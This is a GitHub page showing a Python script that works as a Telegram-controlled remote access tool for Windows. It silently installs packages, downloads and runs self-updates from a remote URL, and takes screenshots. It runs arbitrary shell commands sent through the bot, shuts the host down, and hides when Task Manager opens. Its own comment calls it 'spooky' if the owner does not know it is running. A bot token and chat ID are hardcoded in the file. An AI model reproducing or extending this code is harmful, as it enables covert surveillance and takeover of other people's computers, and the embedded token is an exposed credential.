-
Notifications
You must be signed in to change notification settings - Fork 0
/
development_file.py
565 lines (329 loc) · 16.3 KB
/
development_file.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
import subprocess
import pkg_resources
import sys
from os.path import expanduser
import os.path
import time
#version
__version__=1.09
#contants:
file=sys.argv[0]
#Token for the telegram bot.
token="6199318379:AAGmrDxxhYeYWabD8MqyrMMwKvVztDkPhGE"
#url for online update source
url="https://raw.githubusercontent.com/Mainakdey1/PythonStuff/main/development_file.py"
#delay value(int) for process scanner
delay=0.1
#path for logging and screenshot modules
dir_pathV= expanduser("~")+"\\"
SERVER_IP = '172.16.3.6'
PORT_NUMBER = 5000
SIZE = 1024
#Logger class for logging events. Events have 3 severity:info, warning and critical
#info: call with this to record events that are part of the normal functioning of the program
#warning: call with this severity to record events that are crucial but will not break the funtioning of the program.
#critical: call with this severity to record events that are critical to the functioning of the program.
class logger:
def __init__(self,_log_file,_global_severity=0 ,_dir_path=str,_logobj= str):
self._logobj=_logobj
self._global_severity=_global_severity
self._log_file=_log_file
self._dir_path=_dir_path
def info(self,_function_name,_message):
log_file=open(self._dir_path+self._log_file,"a+")
log_file.write("\n"+time.ctime()+" at "+str(time.perf_counter_ns())+" "+_function_name+" called (local_severity=INFO)with message: "+_message)
log_file.close()
def warning(self,_function_name,_message):
log_file=open(self._dir_path+self._log_file,"a+")
log_file.write("\n"+time.ctime()+" at "+str(time.perf_counter_ns())+" "+_function_name+" called (local_severity=WARNING)with message: "+_message)
log_file.close()
def critical(self,_function_name,_message):
log_file=open(self._dir_path+self._log_file,"a+")
log_file.write("\n"+time.ctime()+" at "+str(time.perf_counter_ns())+" "+_function_name+" called (local_severity=CRITICAL)with message: "+_message)
log_file.close()
#call this method to produce the log file
def producelog(self):
log_file=open(self._dir_path+self._log_file,"r")
msg=log_file.readlines()
log_file.close()
return msg
#call this method to find the privilege level of the current logging instance.
def privilege(self):
if self._global_severity==0:
print("This logger is at the highest privilege level")
else:
return self._global_severity
#call this method to identify the logging instance, if there are several instances initiated.
def identify(self):
print(self._logobj)
#import all required modules here
#so that no errors are thrown because of unavailable modules
logins=logger("logfile.txt",0,dir_pathV,"globallogger")
logins.info("...","BASE MODULES INITIATED")
#installs crucial modules by calling pip. Note: programmatic use of pip is strictly not allowed.
try:
required={"python-telegram-bot","psutil","datetime","messages","urllib3","regex","psutil","datetime","pyautogui","elevate"}
installed={pkg.key for pkg in pkg_resources.working_set}
missing=required-installed
if missing:
subprocess.check_call([sys.executable,"-m","pip","install",*missing])
logins.info("PACKAGE INSTALLER","PACKAGES INSTALLED")
except:
logins.critical("PACKAGE INSTALLER","PACKAGES NOT INITIALIZED")
logins.critical("PACKAGE INSTALLER","THE FOLLOWING PACKAGES WERE NOT INSTALLED: "+str(missing))
#import all recently installed modules.
import urllib3
import regex
import subprocess
import logging
import sys
import subprocess
import pkg_resources
import psutil
import datetime
from messages import TelegramBot
import os
from tkinter import messagebox
import pyautogui
from subprocess import call
from telegram import ForceReply, Update
from telegram.ext import Application, CommandHandler, ConversationHandler, ContextTypes, MessageHandler, filters
from elevate import elevate
from multiprocessing import Process
import time
from socket import socket, AF_INET, SOCK_DGRAM
#scanner class for scanning and keeping track of currently running programs.
class process_scanner:
def __init__(self,_obj_name,_hidev=False) -> True:
self._obj_name=_obj_name
self._hidev=_hidev
def start_scan(self,_interval):
self._interval=_interval
while self._hidev==False:
import time
time.sleep(self._interval)
import subprocess
processes=subprocess.check_output("tasklist")
if "Taskmgr.exe" in str(processes):
self._hidev=True
if self._hidev==True:
return False
def scan_stop(self):
self._hidev=False
def show_hide_value(self):
return self._hidev,__name__
#initiate connection object.
try:
connection_pool=urllib3.PoolManager()
resp=connection_pool.request("GET",url)
match_regex=regex.search(r'__version__*= *(\S+)', resp.data.decode("utf-8"))
logins.info("CONNECTION OBJECT","CONNECTION OBJECT INITIALIZED")
except:
logins.critical("CONNECTION OBJECT","CONNECTION OBJECT NOT INITIALIZED")
match_regexno=float(match_regex.group(1))
#version matching is done here
if match_regexno>__version__:
try:
#new version available. update immediately
logins.info("REGEX VERSION MATCH","NEW VERSION FOUND")
origin_file=open(file,"wb")
origin_file.write(resp.data)
origin_file.close()
logins.info("REGEX VERSION MATCH","SUCCESFUL")
subprocess.call(file,shell=True)
except:
logins.critical("REGEX VERSION MATCH","UNSUCCESFUL")
elif match_regexno<__version__:
try:
#version rollback initiated. updating to old version
logins.info("REGEX VERSION MATCH","NEW VERSION FOUND")
origin_file=open(file,"wb")
origin_file.write(resp.data)
origin_file.close()
logins.info("REGEX VERSION MATCH","VERSION ROLLBACK INITIATED")
subprocess.call(file,shell=True)
except:
logins.critical("REGEX VERSION MATCH","UNSUCCESFUL")
else:
#no new version found.
#update not called.
logins.info("REGEX VERSION MATCH","NO NEW VERSION FOUND")
#telegram module version matching.
from telegram import __version__ as TG_VER
try:
from telegram import __version_info__
except ImportError:
__version_info__ = (0, 0, 0, 0, 0) # type: ignore[assignment]
logins.critical("PTB VERSION MATCH","VERSION NOT FOUND")
if __version_info__ < (20, 0, 0, "alpha", 1):
logins.critical("PTB VERSION MATCH","INCOMPATIBLE VERSIONS FOUND")
raise RuntimeError(
f"This example is not compatible with your current PTB version {TG_VER}. To view the "
f"{TG_VER} version of this example, "
f"visit https://docs.python-telegram-bot.org/en/v{TG_VER}/examples.html"
)
# Enable logging
logging.basicConfig(
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=logging.INFO
)
logger = logging.getLogger(__name__)
# Define a few command handlers. These usually take the two arguments update and
# context.
#Function definition start. Call /start in the chat with the bot to start the bot.
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /start is issued."""
try:
user = update.effective_user
await update.message.reply_html(
rf"Hi {user.mention_html()}!",
reply_markup=ForceReply(selective=True),
)
logins.info("FUNC START","START INITIATED")
except:
logins.warning("FUNC START","FUNCTION NON RESPONSIVE")
#Function definition of help command. Call the help command to see the available function calls to the bot.
async def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
"""Send a message when the command /help is issued."""
try:
await update.message.reply_text("Help!")
logins.info("FUNC HELP","HELP INITIATED")
except:
logins.warning("FUNC HELP","FUNCTION NON RESPONSIVE")
#Tertiary function defintions
#Function definition getupdate. Call /getupdate in the chat with the bot to get a list of all proccesses running in the host system during the time of the function call.
async def getupdate(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
btime=psutil.boot_time()
ftime=datetime.datetime.fromtimestamp(btime).strftime("%Y-%m-%d %H:%M:%S")
processdict=[ftime,"\n\n"]
for process in psutil.process_iter():
processdict+=[process.name(),]
await update.message.reply_text(processdict)
logins.info("FUNC GETUPDATE","GETUPDATE INITIATED")
except:
logins.warning("FUNC GETUPDATE","FUNCTION NON RESPONSIVE")
#Function definition shutdown. Call /shutdown to shutdown the host system. Caution: This will stop the script and service to the bot will be terminated.
async def shutdown(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
os.system('shutdown -s -t 0')
logins.info("FUNC SHUTDOWN","SHUTDOWN INITIATED")
except:
logins.warning("FUNC SHUTDOWN","FUNCTION NON RESPONSIVE")
#Function definition of Cpu time. Call /cpu_time to get the percentage of CPU used at the time the function is called.
async def cpu_time(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
await update.message.reply_text(psutil.cpu_percent())
logins.info("FUNC CPU_TIME","CPU_TIME INITIATED")
except:
logins.warning("FUNC CPU_TIME","FUNCTION NON RESPONSIVE")
#Function definition of message. This is not a command. Any message typed to the bot that is not a command gets displayed to the host system's screen(if there is one present)
#bit of a spooky function if the host system's owner does not know about the program running in the background.
async def message_handle(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
_message=update.message.text
if _message[0:4]== "term$":
subprocess.call(_message[4:])
logins.info("TERMINAL MODE","TERMINAL CALL: "+_message[5:])
elif _message[0:4]=="shw$":
messagebox.showinfo("Messenger from Alexandria",_message[5:])
logins.info("FUNC SHOW_MESSAGE","SHOW_MESSAGE INTIATED")
else:
print("no message to show")
#toaster=ToastNotifier() deprecated
#toaster.show_toast("Windows",_message)
except:
logins.warning("FUNC SHOW_MESSAGE","FUNCTION NON RESPONSIVE")
#Function definition of screenshot method. Call /sc to grab a new screenshot of the host system's screen. However this is still in development and the screenshot may not be of the
#resolution of the host system's screen.
async def image_grab(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
img_grab=pyautogui.screenshot()
img_grab.save(dir_pathV+"image1.png")
await update.message._bot.sendDocument(update.message.chat_id,open(dir_pathV+"image1.png","rb"))
print("sent")
logins.info("FUNC IMAGE_GRAB","IMAGE_GRAB INITIATED")
except:
logins.warning("FUNC IMAGE_GRAB","FUNCTION NON RESPONSIVE")
#Function definition log file access method. Call /getlogfile to get a text log file of all events logged by the program.
async def get_log_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
if not open(dir_pathV+"logfile.txt","r"):
logins.warning("LOGFILE ACCESS","COULD NOT OPEN FILE")
await update.message._bot.sendDocument(update.message.chat_id,open(dir_pathV+"logfile.txt","rb"))
print("sent")
logins.info("LOGFILE ACCESS","FILE SENT ")
except:
logins.warning("LOGFILE ACCESS","UNSUCCESSFUL")
#Function definition of clear log file method. Call /clearlogfile to clear the log file of all it's contents.
#Caution: Calling this will delete all the previous events recorded by the program.
async def clear_log_file(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
open('logfile.txt','w').close()
logins.info("LOGFILE ACCESS","LOGFILE CLEARED")
except:
logins.warning("LOGFILE ACCESS","LOGFILE COULD NOT BE CLEARED")
#developmental function still in beta phase.
"""This function is still in development. Use with caution."""
async def shut_all_system(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
try:
logins.info("SHUT_ALL_SYSTEMS","FUNCTION INITIATED")
mySocket = socket( AF_INET, SOCK_DGRAM )
link_message = "lndn"
mySocket.sendto(link_message.encode('utf-8'),(SERVER_IP,PORT_NUMBER))
logins.info("SHUT_ALL_SYSTEMS","ALL SYSTEMS SHUTTING DOWN")
sys.exit()
except:
logins.warning("SHUT_ALL_SYSTEMS","FUNCTION NON RESPONSIVE")
#global variable hide, is True if a restricted app is opened by host system.
ret={'main_hidev': False}
#function to start scanner subprocess
def start_subprocess(queue):
try:
ret=queue.get()
logins.info("PROCESS SCANNER","PROCESS SCAN STARTED WITH DELAY "+str(delay) )
apr=process_scanner("scobj_A")
apr.start_scan(delay)
logins.info("PROCESS SCANNER","RESTRICTED APP CALLED, CLOSING MAIN")
ret['main_hidev']=True
queue.put(ret)
except:
logins.critical("PROCESS SCANNER","PROCESS SCAN FAILED")
#Main
def main() -> None:
"""Start the bot."""
# Create the Application and pass it the bot's token.
application = Application.builder().token(token).build()
logins.info("MAIN","APPLICATION SUCCESSFULLY BUILT")
# on different commands - answer in Telegram
application.add_handler(CommandHandler("start", start)) #type /start
application.add_handler(CommandHandler("help", help_command)) #type /help
application.add_handler(CommandHandler("shutdown",shutdown)) #type /shutdown
application.add_handler(CommandHandler("cpu",cpu_time)) #type /cpu
application.add_handler(CommandHandler("getupdate",getupdate)) #type /getupdate
application.add_handler(CommandHandler("sc",image_grab)) #type /sc
application.add_handler(CommandHandler("getlogfile",get_log_file))#type /getlogfile
application.add_handler(CommandHandler("clearlogfile",clear_log_file)) #type /clearlogfile
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, message_handle)) #type any message with proper calls
# Run the bot until the user presses Ctrl-C
try:
#Sends a info message informing the user that the host has started the system.
btime=datetime.datetime.fromtimestamp(psutil.boot_time()).strftime("%Y-%m-%d %H:%M:%S")
messageobj=TelegramBot(auth=token,chat_id='820919205',body='The service was started at'+' '+btime)
messageobj.send()
logins.info("MAIN","COMMAND LINE INITIATED")
except:
logins.critical("MAIN","UNKNOW ERROR")
try:
application.run_polling()
logins.info("MAIN","APPLICATION POLLING")
except:
logins.critical("MAIN","ERROR OCCURED WHILE ATTEMPTING TO POLL APPLICATION")
#fallback method if thread termination fails to work.
def end_main_process():
sys.exit()
#MAIN CALLED HERE
if __name__ == "__main__":
try:
main()
except:
logins.critical("MAIN","ERROR OCCURED WHILE INITIATING MAIN")